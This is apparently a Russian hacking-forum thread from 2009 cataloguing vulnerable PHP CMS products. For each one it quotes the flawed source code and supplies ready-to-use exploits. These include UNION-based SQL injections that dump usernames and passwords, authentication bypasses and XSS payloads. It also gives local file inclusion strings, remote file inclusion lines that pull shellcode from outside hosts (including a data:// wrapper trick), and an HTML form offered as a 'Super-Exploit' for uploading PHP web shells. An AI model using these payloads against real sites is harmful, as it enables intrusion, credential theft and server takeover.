Просмотр полной версии : Энциклопедия уязвимых скриптов
Product: OpenEngine
Author: http://www.openengine.de/html/pages/de/index.htm
Version: 1.9.1
SQL-inj
/* нужны права администратора */
file: system/03_admin/ajax/index.php
$page_path_new = $_POST["path"];
$query = "SELECT * FROM ".$db_praefix."page WHERE page_path = '$page_path_new'";
$result = mysql_query($query);
echo mysql_num_rows($result);
target: {POST} ?path=1'+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,3 4,35,36,37,38,3,40,41,42,43,44,45,46/*
MachCMS 1.0
Web site : http://machcms.sourceforge.net
Version : 1.0
Author : Arthur Wiebe
[Local File Inclusion]
Vuln file: classes/Template.php [str:61]
if (file_exists("pages/$page.page/main.php")) {
$template = $this;
require_once("pages/$page.page/main.php");
$this->parse();
}
Exploit:
if magic_quotes = OFF
http://[host]/[path]/index.php?q=../../../../../../../../[local_file]%00
© RulleR aka Pin4eG
Product: DirectNews
Author: http://www.direct-news.fr/
Version: 4.10
RFI
Необходимо для правильной работы RFI! register_globals = ON and allow_url_open = ON!
file: /admin/menu.php
if (empty($from_inc))
{
header('HTTP/1.1 403 Forbidden');
$rootpath = '..';
require_once ($rootpath .'/templates/error/HTTP_FORBIDDEN.php');
die();
}
include_once $rootpath .'/library/lib.menu.php';
include_once $rootpath .'/modules/menu/lib/treemenu.inc.php';
target:?from_inc=1&rootpath=http://yousite.ru/shellcode.txt?
file: /admin/menu_xml.php
include_once $rootpath .'/library/lib.menu.php';
include_once $rootpath .'/modules/menu/lib/treemenu.inc.php';
target:?rootpath=http://yousite.ru/shellcode.txt?
file: /inc.php
if (empty($from_inc))
{
header('HTTP/1.1 403 Forbidden');
$rootpath = '../..';
require_once ('../../templates/error/HTTP_FORBIDDEN.php');
die();
}
include_once $rootpath .'/modules/menu/lib/PHPLIB.php';
include_once $rootpath .'/modules/menu/lib/layersmenu-common.inc.php';
include_once $rootpath .'/library/lib.menu.php';
Как видно,проверяеться наличие конфига,и только после - инклуд.Заинклудить из http:// неполучиться,зато file_exists(); отлично работает с ftp :)
target:?rootpath=ftp://user:password@yaouftp.ru/shellcode.txt?
file: /modules/menu/menu_layer.php
if (empty($from_inc))
{
header('HTTP/1.1 403 Forbidden');
$rootpath = '../..';
require_once ('../../templates/error/HTTP_FORBIDDEN.php');
die();
}
include_once $rootpath .'/modules/menu/lib/PHPLIB.php';
include_once $rootpath .'/modules/menu/lib/layersmenu-common.inc.php';
include_once $rootpath .'/library/lib.menu.php';
Тут попроще.
target:?from_inc=3&rootpath=http://yousite.ru/shellcode.txt?
file: /admin/inc.php
i$from_inc = true;
header("Content-Type: text/html; charset=utf-8");
if (!file_exists($rootpath .'/config.php')) {
header('Location: '. $adminroot .'/install/');
die();
}
// Compatibilite entre les versions de PHP
require_once $rootpath .'/library/lib.compatibility.php';
// gestion de session
require_once $rootpath .'/library/class.config.php';
require_once $rootpath .'/modules/panier/class.panier_article.php';
Как видно,проверяеться наличие конфига,и только после - инклуд.Заинклудить из http:// неполучиться,зато file_exists(); отлично работает с ftp :)
target:?rootpath=ftp://user:password@yaouftp.ru/shellcode.txt?
Blind SQL-inj
file: /index.php
if (isset($_GET['lang']))
{
$_SESSION[DN_UID]['lg'] = $_GET['lang'];
}
else
{
$_SESSION[DN_UID]['lg'] = $_GET['lg'];
}
$lg = $_SESSION[DN_UID]['lg'];
$requete = 'SELECT code
FROM '. $name_table_language .'
WHERE code = "'. $lg .'"
AND site = "1"';
$resultat = mysql_query($requete);
target:В таблие 7 полей ?lang=1'+union+select+1,2,3,4,5,7/*
file: /modules/ajax/remote.php
if (isset($_POST['ajax']))
{
switch ($_POST['ajax'])
{
case 'showComments' :
print(showComments($_POST));
break;
case 'postComment' :
print(postComment($_POST));
break;
default : print(true);
break;
}
}
/Функция/
function postComment($post)
{
global $rootpath, $lg, $name_table_commentaires;
if (!empty($post['noMessage']))
{
$author = !empty($post['author']) ? $post['author'] : '';
$email = !empty($post['email']) ? $post['email'] : '';
$url = !empty($post['url']) ? $post['url'] : '';
$text_comment = !empty($post['text_comment']) ? $post['text_comment'] : '';
$tri = getSqlValue('SELECT MAX(tri) + 1 FROM '. $name_table_commentaires .' WHERE noMessage = '. $post['noMessage']);
target:9 columns
Product: OpenEngine
Author: http://www.openengine.de/html/pages/de/index.htm
Version: 1.9.1
SQL-inj
/* нужны права администратора */
file: system/03_admin/ajax/index.php
$page_path_new = $_POST["path"];
$query = "SELECT * FROM ".$db_praefix."page WHERE page_path = '$page_path_new'";
$result = mysql_query($query);
echo mysql_num_rows($result);
target: {POST} ?path=1'+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,3 4,35,36,37,38,3,40,41,42,43,44,45,46/*
SQL Injection
Vuln file: system/02_page/includes/admin.php [str:368]
$query = "SELECT * FROM ".$db_praefix."page WHERE (page_path = '$page_path') AND (page_status <= ".$account_status.") $access";
$result = mysql_query($query);
Exploit:
------------------------------------------------------------------------
http://[host]/cms/website.php?id=xek')+union+select+null,null,null,n ull,null,null,null,null,null,null,null,null,null,c oncat_ws(0x3a,account_email,account_password),null ,null,null,null,null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null,null ,null+from+oe_account+where+account_group=2+--+
------------------------------------------------------------------------
*вывод в title
Интересная инъекция, далее показано что еще можно из нее выжать (:
LFI
Vuln file: system/02_page/includes/lang.php [str:48]$query = "SELECT lang_short from ".$db_praefix."language order by lang_short";
$result = mysql_query($query);
closeDB($link);
while ($row = mysql_fetch_array($result))
{
$lang_list .= $row["lang_short"].",";
}
if (strlen($lang_list) > 0)
{
$lang_list = substr($lang_list,0,strlen($lang_list)-1);
}
if (isset($_GET["admin"]))
{
include("system/00_settings/language_packs/lang_".$lang_admin.".php");
}
else
{
include("system/00_settings/language_packs/lang_".$lang_input.".php");
}
Exploit:
------------------------------------------------------------------------
http://[host]/cms/website.php?id=xek')+union+select+null,null,null,n ull,'/../../../../../[local_file]%00',null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null, null,null+--+
------------------------------------------------------------------------
Чтение произвольных файлов
Vuln file: system/02_page/start.php [str:52]
$fp = fopen($incurl.$page["page_include"], "r");
if ($fp)
{
while(!feof($fp))
{
$content .= fread($fp,"10000");
}
fclose($fp);
}
echo $content;
Exploit:
------------------------------------------------------------------------
http://[host]/cms/website.php?id=xek')+union+select+null,null,null,n ull,null,null,null,null,null,null,null,null,null,n ull,null,null,null,null,null,null,null,null,null,n ull,null,null,null,null,null,null,null,null,null,n ull,null,null,null,null,'../../../[local_file]',null,null,null,null,null,null,null+--+
------------------------------------------------------------------------
Для успешной эксплуатации необходимо:
magic quotes = OFF
Извини что не множно подпорчу работу твою,но LFI в том файле нет.Ну точнее есть,но оно невозможно.Ибо:
closeDB($link); - выдаст ошибку,как Ундефинид функцион и скрипт прекращает свою работу.
смотрим фаил website.phpdefine("_ISLOADED",1);
if (file_exists("_config/config.php"))
{
require("_config/config.php");
}
else
{
die("openEngine ERROR: Choose <a href='system/setup/index.php'>Installation</a> or check your current system");
}
require("system/00_settings/start.php");
if ($site_encoding != "noencoding")
{
header('content-type: text/html; charset='.$site_encoding);
}
require("system/01_user/start.php");
require("system/02_page/start.php");
if (isAdmin())
{
require("system/03_admin/start.php");
}
require("system/00_settings/end.php");
?>видим что инклудится фаил system/00_settings/start.php, смотрим start.php:require("system/00_settings/includes/database.php");
require("system/00_settings/includes/settings.php");смотрим database.php:function closeDB($link)
{
mysql_close($link);
}и почему closeDB() будет ундефинид функцион? ;)
ты бы проверил на локалхосте, все прекрасно инклудится...
Symphony CMS 2.0.6
Web site : http://symphony-cms.com
Version : 2.0.6
[Local File Inclusion]
Vuln file: index.php [str:9]
function renderer($mode='frontend'){
require_once(CORE . "/class.{$mode}.php");
return ($mode == 'administration' ? Administration::instance() : Frontend::instance());
}
$renderer = (isset($_GET['mode']) ? strtolower($_GET['mode']) : 'frontend');
$output = renderer($renderer)->display(getCurrentPage());Exploit:
if magic_quotes = OFF
http://[host]/[path]/index.php?mode=/../../../../../../[local_file]%00
[x60]unu
12.12.2009, 15:30
BareNuked CMS v. 1.1.0
CMS = BareNuked CMS
SQL injection
url - http://localhost/index.php?term=
Exploit -
http://localhost/index.php?term=1'/**/and/**/1=0/**/union/**/all/**/select/**/0,concat(0x76657273696f6e0d0a,0x3a,version()),0,0, 2,0,0,0,0,0,0,0--+&search=search
Passive XSS
search ===> "><script>alert();</script>
or
Exploit -
http://localhost/?term="><script>alert();</script>&search=search
NooMS
Passive XSS
Exploit -
http://localhost/search.php?q="><script>alert();</script>
SQL injection in admin panel
Exploit
http://localhost/admin.php?op=comments&action=listarticles§ion_id=1/**/and/**/1=0/**/union/**/all/**/select/**/1,concat_ws(char(42,42,42),user(),database(),versi on()),3,4,5,6,7,8,9
Product: ReloadCMS
Author: http://reloadcms.com/
Version: 1.2.7
LFI
file: rss.php
if(!empty($_GET['m']) && !empty($system->config['enable_rss']) && !empty($system->feeds[$_GET['m']])){
$module = $_GET['m'];
header('Content-Type: text/xml');
$feed = new rss_feed($system->config['title'] . ' - ' . $system->feeds[$module][0], $system->url, $system->feeds[$module][1], $system->config['encoding'], $system->config['language'], $system->config['copyright']);
$m = (!empty($system->feeds[$module][2])) ? $system->feeds[$module][2] : $module;
if(is_readable(MODULES_PATH . $m . '/rss.php')) include(MODULES_PATH . $m . '/rss.php');
target: ?m=../../config/config.ini%00
[x60]unu
12.12.2009, 23:27
Product: PicoFlatCMS
Version: 0.6.1
Exploit:
http://localhost/index.php?pagina=[file]
Product: Ariadne CMS
Author: http://www.ariadne-cms.org/
Version: 2.6.1
RFI
Need: register_globals = ON and allow_url_include = ON
file: /winges/tree/root.php
if (!isset($layout) || (!$layout)) {
$layout="./frames.js";
} else {
$layout=ereg_replace("[\./\\]","",$layout).".js";
}
include($layout);
По сути есть фильтр,но Ctacok научил юзать data://, поэтому обход прост.
target: ?layout=data:,<?php include $_GET[hello] ?>&hello=http://yousite.com/shell.txt?
^^ еще версия PHP >= 5.2.0
и не allow_url_open, а allow_url_include
[x60]unu
13.12.2009, 00:22
Product - ZAKRZAK
Version - 0.01
Active XSS
Url - http://localhost/index.php?page=gbook
Exploit
'"/><script>alert("xss");</script>
Раскрытые Пути
http://localhost/index.php?page=settings&part[]=
ClanTiger CMS
Web site : http://www.clantiger.com
Vesrion : 1.0<=1.1.3
[Local File Inclusion]
Vuln file: functions/class.language.php [str:73]
if(isset($_GET['lang']))
{
$selectedLanguage = $_GET['lang'];
}
else if($_COOKIE['lang'])
{
$selectedLanguage = $_COOKIE['lang'];
}
else
{
// resort to default
$selectedLanguage = $settings['language'];
}
// see whether the language exists
if(!in_array($selectedLanguage,$this->validLanguages,true))
{
$this->selectedLanguage = $this->validLanguages[$settings['language']];
}
else
{
$this->selectedLanguage = $this->validLanguages[$selectedLanguage];
}
// attempt to load in the translations file
if(!@include_once(ROOTPATH . 'language/' . strtolower($selectedLanguage) . '.php'))
Exploit #1:http://[host]/[path]/index.php?lang=../../../../../../../[local_file]%00Exploit #2:GET http://[host]/[path]/index.php HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: [host]
Content-Length: 59
Connection: Close
Cookie: lang=../../../../../../../[local_file]%00Для успешной эксплуатации необходимо:
magic quotes = OFF
DynPG CMS 4.0.0
Web site : http://www.dynpg.org
Vesrion : 4.0.0
[Remote File Inclusion]
Vuln file: counter.php [str:15]
$inc = empty($_GET["inc"]) ? 0 : $_GET["inc"];
if ( !empty($inc) ) {
# Aufruf des Counters ьber einen Link. $inc enthдlt dann die Datenbankkennung!
$inc_or = htmlentities(urldecode($inc));
$inc_head = urldecode(str_replace('&', '&', $inc));
$inc = addslashes(strtolower($inc));
if ( empty($GLOBALS["DefineRootToTool"]) ) {
$GLOBALS["DefineRootToTool"] = "";
}
require_once $GLOBALS["DefineRootToTool"]."config.php";
Exploit:
if register_globals = ON && allow_url_include = ONhttp://[host]/[path]/counter.php?inc=1&DefineRootToTool=[shell]?
[Local File Inclusion]
Vuln file: languages.inc.php [str:5]
global $lang_dpg;
require_once dirname(__FILE__) . '/plugins/languages.php';
require_once dirname(__FILE__) . '/localised/dynpg_backend/'.strtolower($_SESSION["LANGUAGE"]).'.lang.php';
Exploit:
if register_globals = ON && magic_quotes = OFFhttp://[host]/[path]/languages.inc.php?_SESSION[LANGUAGE]=../../../../../../../../[local_file]%00
Программа: MySmartBB 1.1.0
Сайт: mysmartbb.com
Описание уязвимости: возможен обход авторизации
Уязвимый код login.php:
$password = md5($_POST['T2']);
$check = $DB->sql_query("SELECT * FROM MySBB_member WHERE username='" . $_POST['T1'] . "' AND password='" . $password . "'");
$num = $DB->sql_num_rows($check);
эксплойт:
login: 'or+5=5#
password: asdfg
если версия MySQL = 5 то можно вывести данные из бд таким POST запросом:
T1='+and+1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((select+concat_ws(0x3a,username,passwor d,email)+from+mysbb_member+limit+1),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((select+concat_ws(0x3a,username,passwor d,email)+from+mysbb_member+limit+1),14)e)b)a)+--+&T2=1233&B1=%E3%E6%C7%DD%DE
Xcontrol212
17.12.2009, 03:02
AmiroCMS-Free-5.4.4.0
Раскрытие путей
http://localhost:7777/eshop_final.php
Fatal error: main() [function.require]: Failed opening required '_shared/code/includes/eshop_final.php' (include_path='.;/usr/local/php/PEAR') in C:\WebServers\home\localhost\www\AmiroCMS\home\loc alhost\www\eshop_final.php on line 4
http://localhost:7777/unattened.old.php
Parse error: syntax error, unexpected T_STRING in C:\WebServers\home\localhost\www\AmiroCMS\home\loc alhost\www\unattened.old.php on line 4
Уязвимую часть кода к сожалению не смогу показать,зазендено,потом выложу,когда раззендю;)
[x60]unu
19.12.2009, 00:31
Nazep
Product - Nazep
Version - 0.1.4.3
SQL injection
http://localhost/index/index.php?sec=-1'/**/union/**/all/**/select/**/version()/*
вывод
<title></title>
Admin Panel
http://localhost/admon/index.php
Login
login - 'or+1=1#
pass - 123456
Root-access
19.12.2009, 16:57
Moscuito CMS (all vers) - блоговый движок на файлах.
PHPSELF XSS: http://localhost/mosquito/%3E%3Cscript%3Ealert()%3C/script%3E
Заливка шелла: Админцентр (дефолтный пароль - pass)-> Новый (плагин) -> <?php include('http://site.com/sh.txt'); ?>
Arcadem Pro CMS [2.7]
xss пассивная:
[localhost]/index.php?cat="><script>alert();</script>
xss пассивная:
[localhost]/index.php?article="><script>alert();</script>
xss активная:
При регистрации, в поле "Логин" вписываем "><script>alert();</script>, регистрирумся. При просмотре игроков, статистики и т.д. будет выполняться ваш код.
xss активная:
[localhost]/index.php?loadpage=./includes/articleblock.php&articlecat=[number]
в строке поле комментария вводим "><script>alert();</script> и отправляем. При просмотре комментариев выполнится ваш код.
Blind SQL injection:
[localhost]/index.php?article=[number]+and+ascii(substring(version(),19,1))+--+Bb0y
уязвимый код: $articleid = $_GET['article'];
if (is_numeric(intval($articleid)) == TRUE) {
$sql = "SELECT * FROM AMCMS_articles WHERE articlekey=$articleid LIMIT 1;";
Direct News, основная часть выше,изза переноса сообщения раззлетелись :)
RFI
Необходимо для правильной работы RFI! register_globals = ON and allow_url_open = ON!
file: /admin/inc.php
$from_inc = true;
header("Content-Type: text/html; charset=utf-8");
if (!file_exists($rootpath .'/config.php')) {
header('Location: '. $adminroot .'/install/');
die();
}
// Compatibilite entre les versions de PHP
require_once $rootpath .'/library/lib.compatibility.php';
// gestion de session
require_once $rootpath .'/library/class.config.php';
require_once $rootpath .'/modules/panier/class.panier_article.php';
....
target:admin/inc.php?rootpath=http://yousite.ru/shellcode.txt?
webCocoon's simpleCMS
Web site : http://webcocoon.wordpress.com
Version : 0.7.0
SQL Injection
Vuln file: /content/post/show.php [str:3]
//Show post
$get_post = mysql_query("SELECT*FROM post WHERE post_id = '$id' AND status = 'published'");
$post_result = mysql_num_rows($get_post);
$post = mysql_fetch_array($get_post);
Exploit:
if magic_quotes = OFFPOST http://[host]/[path]/index.php HTTP/1.0
Content-type: application/x-www-form-urlencoded
id=xek' union select null,concat_ws(0x3a,username,password),null,null,n ull,null,null,null,null,null,null,null,null,null,n ull,null from user -- &mode=post&gfile=show*так же уязвимы параметры: year, month, date
Local File Inclusion
Vuln file: /templates/default/template.html [str:538]
if($mode == ""){
include"content/front/$template.php";
}
elseif($gfile == "$gfile"){
include"content/$mode/$gfile.php";
}else{
include"content/front/$template.php";
}Exploit:
if magic_quotes = OFFPOST http://[host]/[path]/index.php HTTP/1.0
Content-type: application/x-www-form-urlencoded
mode=../../../../../../../[local_file]%00&gfile=browse
DIY CMS (Do It Yourself cms)
Web site : http://www.diy-cms.com
Version : 1.0
Blind SQL Injection
Vuln file: /modules/users/index.php [str:48]
/*...*/
if(isset($diy->get['morder']))
{
$order = $diy->get['morder'];
}
else
{
$order = "userid";
}
if (isset($diy->get[msort]))
{
$sort = $diy->get[msort];
}
else
{
$sort = DESC;
}
/*...*/
$result = $diy->query("SELECT * FROM diy_users WHERE userid > '0' and userid != '$diy->Guestid' and activated = 'approved' ORDER BY $order $sort LIMIT $start,$upp");
/*...*/
Если версия MySQL=>5.0.12, можно получить данные из ошибки Duplicate column name
Exploit:
http://[host]/[path]/mod.php?mod=users&morder=1+and+(select+*+from+(select+*+from+(select +name_const((select+concat_ws(0x3a,username,passwo rd)+from+diy_users+where+userid=1),1)a)b+join+(sel ect+name_const((select+concat_ws(0x3a,username,pas sword)+from+diy_users+where+userid=1),1)c)d)e)*т к же уязвим параметр msort
там задумывался antihek system) admin/aclass/admin_func.php
...
38 function format_data($r)
39 {
40 return mysql_escape_string(stripslashes(trim($r)));
41 }
...
68 $user_name = $diy->format_data($diy->post['user_name']);
69 $user_pass = $diy->format_data(md5($diy->post['user_pass']));
70 $result = $diy->query("SELECT userid,username,password,groupid
71 FROM diy_users
72 WHERE (username ='$user_name')
73 AND (password ='$user_pass')
74 AND (groupid = 1)");
75 if (@$diy->dbnumrows($result) > 0) {
...
, но post > $user_name='=0)or('
аплоадер admin/aclass/template.php
...
410 else if ($action=="uploadtemp")
411 {
412 $upload = $diy->files["name_file"];
413 $theme = str_replace(' ','_',$diy->post[theme]);
414 $tmp_name = $upload["tmp_name"];
415
416 if (is_uploaded_file($upload['tmp_name']))
417 {
418 $path = $diy->upload_path."/".$upload['name'];
419 if(move_uploaded_file($tmp_name, $path))
420 {
...
diy-cms.com/500.php?yaneshell=1
Product: bloofoxCMS
Author: 0.3.5
Version: http://www.bloofox.com/
LFI
Need: register_globals = ON
file: update/index.php
$update_files[0] = "update_0.3.0-0.3.1.php";
$update_files[1] = "update_0.3.1-0.3.2.php";
$update_files[2] = "update_0.3.2-0.3.3.php";
$update_files[3] = "update_0.3.3-0.3.4.php";
$update_files[4] = "update_0.3.4-0.3.5.php";
....
if(isset($_GET['page']) && CheckInteger($_GET['page'])) {
$page = $_GET['page'];
$upd_var['update_file'] = SYS_WORK_DIR."/".$update_files[$page];
if(file_exists($upd_var['update_file'])) {
include_once($upd_var['update_file']);
}
}
target: Инклуд достаточно интересный,обманем скрипт :) Вроде быи переменная чекаеться на intval, и файл на существование,но вот переменная инклуда не чекаеться.Создаем не существующую переменную,и сами зададим ей значение:
?update_files[11]=../{LF}&page=11
Blind-SQL
file: plugins/text_news/text_news.php
if($login_required == 0 && $sys_explorer_vars['link_plugin'] == 31) {
// init db connection
$db2 = new DB_Tpl();
// create page handling
$sys_vars = $cont->create_pages($db2,$_GET['start'],$sys_vars);
// set template block
$tpl->set_block("template_content", "content", "content_handle");
// get sys_contents
$db2->query("SELECT * FROM ".$tbl_prefix."sys_content WHERE explorer_id = '".$cont->eid."' AND blocked = '0' ORDER BY sorting LIMIT ".$sys_vars['start'].",".$cont->limit."");
$no_of_records = $db2->num_rows();
target: ?login_required=0&sys_explorer_vars['link_plugin']=31&tbl_prefix=bfCMS_sys_user+where+id=1/*блабла,в этой таблице 13 колонок.
В дополнение к #249 (http://forum.antichat.ru/showpost.php?p=1743714&postcount=249)
Blind-SQL
file: validate.php
$username = $_GET["username"];
$password = $_GET["password"];
if(!isset($_COOKIE["deeemm"])) {
//no cookie so reset cookie just in case
setcookie ("deeemm", "", time() - 3600);
} elseif (isset($_COOKIE["deeemm"])) {
//get data from cookie
$user = explode(" ",$_COOKIE["deeemm"]);
//compare data against database
$sql_query = "SELECT * FROM `" . $db_table_prefix . "users` WHERE `user_name` = '$user[0]'";
$result = mysql_db_query($db_name, $sql_query);
target: Устанавливаем себе куку deemm со значением:
"'+union+select+1,2,3,4,5,6,7,8,9,10+--+ pew-pew"
Upload Shell
Need: register_globals = ON
file: includes/upload_file.php
if (isset($_FILES['file_data'])) {
if ($filename) {
$destination_file = $default_path . $media_dir . $filename;
echo strtolower(basename($_FILES['file_data']['name']));
}
if (file_exists($destination_file)) {
$count = 1;
while (file_exists($destination_file)) {
$filename = $count . '_' . $filename;
$destination_file = $default_path . $media_dir . $filename;
$count++;
}
}
if ($filename && !file_exists($destination_file)) {
if (!move_uploaded_file($_FILES['file_data']['tmp_name'], $destination_file)) {
echo '<br>' . "Upload failed!" . '<br>';
echo $destination_file . '<br>';
echo ($_FILES['file_data']['name']) . '<br>';
echo ($_FILES['file_data']['tmp_name']) . '<br>';
echo ($_FILES['file_data']['size']) . '<br>';
echo ($_FILES['file_data']['type']) . '<br>';
echo ($_FILES['file_data']['error']) . '<br>';
//print_r ($_FILES);
exit;
}
}
}
target: Написал Super-Exploit.
<form action="http://HOST.com/upload_file.php" method="post" enctype="multipart/form-data">
Shell file: <input type="file" name="file_data"><br>
Path: <input type="text" name="default_path"><br>
Shell name: <input type="text" name="filename"><br>
<input type="submit" value="Xek!"><br>
</form>
Вписываем например:
Path: ./
Shell name: shell.php
Xek!
Шелл окажеться в тойже папке что и upload_file.php
Qikblogger (qb-krypton-0.9beta-patched)
http://qikblogger.sourceforge.net
Blind SQL
mq=off
tag.php
if ( isset($_GET['blog_name']) && isset($_GET['tagname']) ) {
$blog_name = trim($_GET['blog_name']);
$tagname = trim($_GET['tagname']);
,,,
$post_ids = $b->get_tag_posts($tagname);
blogs.php
function get_tag_posts($tagname)
if ( $db->query("SELECT tags.post_id as ids FROM tags, posts WHERE tags.tagname='$tagname' AND tags.blog_name='$this->blog_name' AND tags.post_id=posts.post_id AND posts.disp_dt < CURRENT_TIMESTAMP() ORDER BY posts.disp_dt DESC ;") ) {
http://localhost/qb/tag.php?blog_name=barbie&tagname=barbie'+union+select+1+--+1
Product: LimnyCMS
Author: http://www.limny.org/
Version: 1.0.1
LFI
По сегодняшней традиции,оно нестрандартное,а немножно интересное :)
file: ajax.php
if(substr($_POST['page'], 0, 3) != "sub")
{
define("LANGUAGE", Language());
}
else
{
define("USER", @$_POST['user']);
define("LANGUAGE", UserLanguage(USER));
}
// SESSION
if($_POST['page'] == "contact" or $_POST['page'] == "scontact" or $_POST['page'] == "subscontact" or $_POST['page']=="registernow")
{
session_start();
}
// CAN NOT MODIFY HEADERS
if(@$_GET['page'] != "size")
{
require("languages/".LANGUAGE.".php");
Обратите внимание на установку Констант и на ф-цию UserLanguage(USER)
function UserLanguage($username)
{
if(isset($_COOKIE['ulanguage']))
{
return $_COOKIE['ulanguage'];
}
else
{
return UserSettings($username, "language");
}
}
Таким образом:
target:
POST /target/ajax.php?page=pewpew HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Cookie: ulanguage=../../{LOCAL_FILE}%00;
Connection: keep-alive
page=sub&user=lolita
Вуаля :)
Blind-SQL
file: cookie.php
switch($_POST['cookie'])
{
case("login");
$user=@$_POST['user'];
$pass=md5(@$_POST['pass']);
$login_result=$db->query("SELECT user, pass, ban FROM ".TABLE_PREFIX."users WHERE user='$user' AND pass='$pass'");
if($login_row=$db->fetch_array($login_result)){
if($login_row['ban']=="1"){echo "Ban!";exit;}
setcookie("username", $login_row['user'], time()+86400, '/', '', 0);
setcookie("password", $login_row['pass'], time()+86400, '/', '', 0);
Проверять можно по кукам,если обнулились - fail :o.
target: {POST} ?user=lolita'+union+select+1,2,3,4,5,6,7,8,9,10,11 ,12,13,141,516,17,18,19,20,21+--+
Дополнение к посту (http://forum.antichat.ru/showpost.php?p=1775137&postcount=284) m0Hze
Local File Inclusion
Vuln file: aajax.php [str:11]
require("config.php");
require("includes/functions.php");
require("includes/class_mysql.php");
$db = new dbEngine;
$db->connect(HOSTNAME, USERNAME, PASSWORD);
$db->select(DATABASE);
define("LANGUAGE", Language());
require("languages/".LANGUAGE.".php");
/*...*/Смотрим функцию Language() (includes/functions.php)
/*...*/
function Language()
{
if(CheckLogin($_COOKIE['username'], $_COOKIE['password']) == true)
{
$language = UserOption($_COOKIE['username'], "lang");
if(isset($_COOKIE['language']) and $_COOKIE['language'] != $language)
{
/*...*/
}
return $language;
}
else
{
if(isset($_COOKIE['language']))
{
$language = $_COOKIE['language'];
}
else
{
$language = Settings("language");
}
}
return $language;
}
/*...*/
Exploit:
if magic_quotes = OFFGET http://[host]/[path]/aajax.php HTTP/1.0
Cookie: language=../../../../../../../[local_file]%00* так же уязвимы файлы: ajax.php, majax.php, print.php, uajax.php
SQL Injection
Vuln file: ajax.php [str:397]
/*...*/
$order=@$_POST['order'];
$newsgroup=@$_POST['newsgroup'];
$number=round(@$_POST['number']);
$username=@$_POST['user'];
if(!is_numeric($number) OR $number<=0){echo "<div class=\"error\">".$lang['error1']."</div>";exit;}
if($newsgroup=="all"){$ng="";}else{$ng=" newsgroup='$newsgroup' AND";}
if($order!="date"){
$lastnews_result=$db->query("SELECT id, title, pretext, datetime FROM ".TABLE_PREFIX."usernews WHERE user='$username' AND lang='".LANGUAGE."' AND$ng releasestatus='1' ORDER BY datetime DESC LIMIT $number");
}else{
/*...*/
Exploit:
if magic_quotes = OFFPOST http://[host]/[path]/ajax.php HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: [host]
Content-Length: 175
Cookie: language=en
Connection: Close
Pragma: no-cache
newsgroup=xek' union select null,concat_ws(0x3a,user,pass),null,null from lmn_users -- &page=newslist&number=1-------------------------------------
Limny 1.01 (Auth Bypass) SQL Injection Vulnerability (http://milw0rm.com/exploits/9281)
GEOBLOG 1.0 STABLE
http://sourceforge.net/projects/bitdamaged/
SQL
Скрипты в корне блога содержат строки:
if(!is_numeric($id)) {
print("Dont Be A h4x0r!!!");
exit();
Скрипты в админке проверяют
if($_SESSION['login'] != "user_valid_and_logged_in") {
header("Location: ../index.php");
} //End IF
admin/listcomment.php не содержит таких проверок, поэтому
$query = mysql_query("SELECT * FROM geo_comment WHERE linkid='$id'");
уязвим, при
magic_quotes_gpc = Off
register_globals = On
http://localhost/geoBlog/admin/listcomment.php?id=2'+union+select+1,2,3,4,5,versi on(),7,8+--+1
Product: SkyBlueCanvas
Author: www.skybluecanvas.com
Version: 1.1
Upload-ShellCode
File: /wym/image.upload.php
if (isset($_FILES['upload']) && !empty($_FILES['upload']['name'])) {
$file = $_FILES['upload'];
$dest = $_POST['upload_dir'];
$ini = FileSystem::read_config(
"../" . SB_MANAGERS_DIR . "media/config.php"
);
$types = array();
if (isset($ini['mimes'])) {
$types = $ini['mimes'];
}
$targets = FileSystem::list_dirs(SB_MEDIA_DIR);
array_push($targets, SB_DOWNLOADS_DIR);
array_push($targets, SB_UPLOADS_DIR);
array_push($targets, ACTIVE_SKIN_DIR . "images/");
list($exitCode, $newfile) = $Core->UploadFile($file, $dest, $types, 5000000, $targets);
if ($exitCode == 1) {
$success = true;
$message = '<div class="msg-success-small"><h2>Success!</h2></div>';
}
else {
$message = '<div class="msg-error-small"><h2>An unknown error occurred</h2></div>';
}
}
Нас интересует: list($exitCode, $newfile) = $Core->UploadFile($file, $dest, $types, 5000000, $targets);
File: /include/core.php
function UploadFile($file, $dest, $allowtypes, $maxsize=5000000, $targets=array()) {
$Uploader = new Uploader($allowtypes, $targets);
return $Uploader->upload($file, $dest);
}
$Uploader->upload($file, $dest);
File: /include/uploader.php
function upload($file, $dest) {
if ($dest{strlen($dest)-1} != '/') $dest .= '/';
$fname = $file['name'];
$ftype = trim($file['type']);
$fsize = $file['size'];
$newfile = null;
if ($fsize > $this->max_size) {
$exitCode = 7;
}
else if ($fsize > $this->free_space) {
$exitCode = 8;
}
else if (!in_array($ftype, $this->types)) {
$exitCode = 4;
}
else if (!in_array($dest, $this->targets)) {
$exitCode = 4;
}
else {
$newfile = $dest.$fname;
$max = 100;
$ticker = 0;
while (file_exists($newfile) && $ticker < $max) {
$ticker++;
$bits = explode('.', $fname);
$ext = $bits[count($bits)-1];
$base = implode('.', array_slice($bits, 0, -1));
$newfile = $dest."$base.$ticker.$ext";
}
if (is_uploaded_file($file['tmp_name'])) {
$exitCode = move_uploaded_file($file['tmp_name'], $newfile);
}
else {
$exitCode = 0;
}
}
return array($exitCode, $newfile);
}
Ну вот и добрались до сути.
Target: Из-за того,что файл целевой файл(image.upload.php) просто открываеться в браузере,не происходит установки разрешеных к аплоаду расширений файлов.Так что просто отсылаем файл и POST- запрос:
upload_dir=../../
Колво ../ подъемов по ФС может быть сколько душе угодно,все зависит от настроек сервера,и где лежит сама ЦМС.В итоге заимеем шелл с названием:
Отсылали: shell.php
Получили: shell..php
Update: #244 (http://forum.antichat.ru/showpost.php?p=1727289&postcount=244)
